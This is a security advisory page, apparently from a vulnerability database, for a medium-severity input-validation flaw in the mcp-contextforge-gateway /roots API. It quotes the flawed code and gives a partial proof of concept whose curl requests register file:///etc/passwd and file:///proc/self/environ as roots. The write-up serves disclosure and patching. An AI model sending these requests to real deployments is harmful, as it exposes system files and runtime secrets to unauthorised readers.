IBM: improper input validation
Medium4.9Published Aug 24, 2026
### Summary The `/roots` REST API and the corresponding service layer in `mcpgateway/services/root_service.py` accept URI registration with **any** URI scheme — `file://`, `data://`, `ftp://`, and arbitrary custom schemes — with no scheme allowlist, no path restriction, and no per-team or per-scope filtering on read-back. The service-layer function `add_root()` contains a verbatim source comment confirming, in the project's own words, that no access check is performed at write time. The corresponding `list_roots()` function returns the complete root dictionary unchanged to every authenticated admin session. The combined behaviour allows an admin (a role that can be obtained pre-authentication against deployments running default secrets — see companion advisory (GHSA-m8rv-5m6m-32ff) on hardcoded `JWT_SECRET_KEY`) to register attacker-supplied `file://` URIs that are then surfaced to every other admin session and to any MCP client that subsequently issues `roots/list`. ### Project's own source-of-truth admission `mcpgateway/services/root_service.py`, inside `RootService.add_root()`: ```python async def add_root(self, uri: str, name: Optional[str] = None) -> Root: ... try:...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| mcp-contextforge-gateway PyPI | < v1.0.7 | v1.0.7 |
Details and references
### Summary The `/roots` REST API and the corresponding service layer in `mcpgateway/services/root_service.py` accept URI registration with **any** URI scheme — `file://`, `data://`, `ftp://`, and arbitrary custom schemes — with no scheme allowlist, no path restriction, and no per-team or per-scope filtering on read-back. The service-layer function `add_root()` contains a verbatim source comment confirming, in the project's own words, that no access check is performed at write time. The corresponding `list_roots()` function returns the complete root dictionary unchanged to every authenticated admin session. The combined behaviour allows an admin (a role that can be obtained pre-authentication against deployments running default secrets — see companion advisory (GHSA-m8rv-5m6m-32ff) on hardcoded `JWT_SECRET_KEY`) to register attacker-supplied `file://` URIs that are then surfaced to every other admin session and to any MCP client that subsequently issues `roots/list`. ### Project's own source-of-truth admission `mcpgateway/services/root_service.py`, inside `RootService.add_root()`: ```python async def add_root(self, uri: str, name: Optional[str] = None) -> Root: ... try: root_uri = self._make_root_uri(uri) except ValueError as e: raise RootServiceError(f"Invalid root URI: {e}") # Skip any access check; just store the key/value. ← project's own comment root_obj = Root( uri=root_uri, name=name or os.path.basename(urlparse(root_uri).path) or root_uri, ) ... ``` The literal comment `# Skip any access check; just store the key/value.` is committed to `main` and is the project's own classification of the function's policy. There is no caller-side compensating check: `add_root()` is invoked directly by the REST `POST /roots` handler with the request body URI passed through unchanged. ### Technical details `_make_root_uri()` in the same file accepts any scheme that `urlparse` recognises as a scheme, and converts scheme-less inputs into `file://` automatically: ```python def _make_root_uri(self, uri: str) -> str: parsed = urlparse(uri) if not parsed.scheme: # No scheme provided; assume a file URI and add file:// prefix return f"file://{uri}" # If a scheme is present (e.g., http, https, ftp, etc.), return the URI as-is. return uri ``` There is no scheme allowlist (`http`/`https`/`ws`/`wss` are the project's stated safe set in `validation_allowed_url_schemes` for other validators, but that allowlist is not consulted here). There is no path-traversal check, no `..` rejection, no `/etc`/`/proc`/`/sys` blocklist. `list_roots()` returns the in-memory dictionary unchanged: ```python async def list_roots(self) -> List[Root]: ... return list(self._roots.values()) ``` There is no per-user filter, no per-team filter, no per-scope filter, no public/private visibility flag. The same set of roots is served to every authenticated admin session and to every MCP client that requests `roots/list`. The roots are stored in a process-local `Dict[str, Root]` and persist for the lifetime of the gateway process. ### PoC **Requirements:** A platform-admin token against an unmodified deployment. Step 1 — Register a sensitive system path as a root: ```bash curl -s -w "\nHTTP %{http_code}\n" \ -X POST http://TARGET:4444/roots \ -H "Authorization: Bearer <admin token>" \ -H "Content-Type: application/json" \ -d '{"uri": "file:///etc/passwd", "name": "test-passwd"}' ``` Expected: `HTTP 200`. Step 2 — Register a second sensitive path covering runtime secrets exposure: ```bash curl -s -w "\nHTTP %{http_code}\n" \ -X POST http://TARGET:4444/roots \ -H "Authorization: Bearer <admin token>" \ -H "Content-Type: application/json" \ -d '{"uri": "file:///proc/self/environ", "name": "test-environ"}' ``` Expected: `HTTP 200`. Step 3 — Demonstrate scheme freed
More IBM advisories
All IBM| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Aug 25 | Default JWT Secret in Docker Compose Enables Forged Platform-Admin Tokens | Critical9.8 | v1.0.7 |
| Aug 25 | ContextForge SSRF protection bypass via outbound HTTP redirects (Tool/Gateway/A2A invocation paths) | High | v1.0.2 |
| Aug 25 | Broken Acess Control in Team Join Approval Flow | Medium | v1.0.6 |
| Aug 25 | [Security] OAuth token from lower environment works in higher environments | High | v1.0.5 |
| Aug 24 | RestrictedPython sandbox bypass via getattr builtin in python_sandbox_server | Critical | 1.0.2 |
| Aug 24 | IBM: hard-coded credentials | High8.9 | 1.0.7 |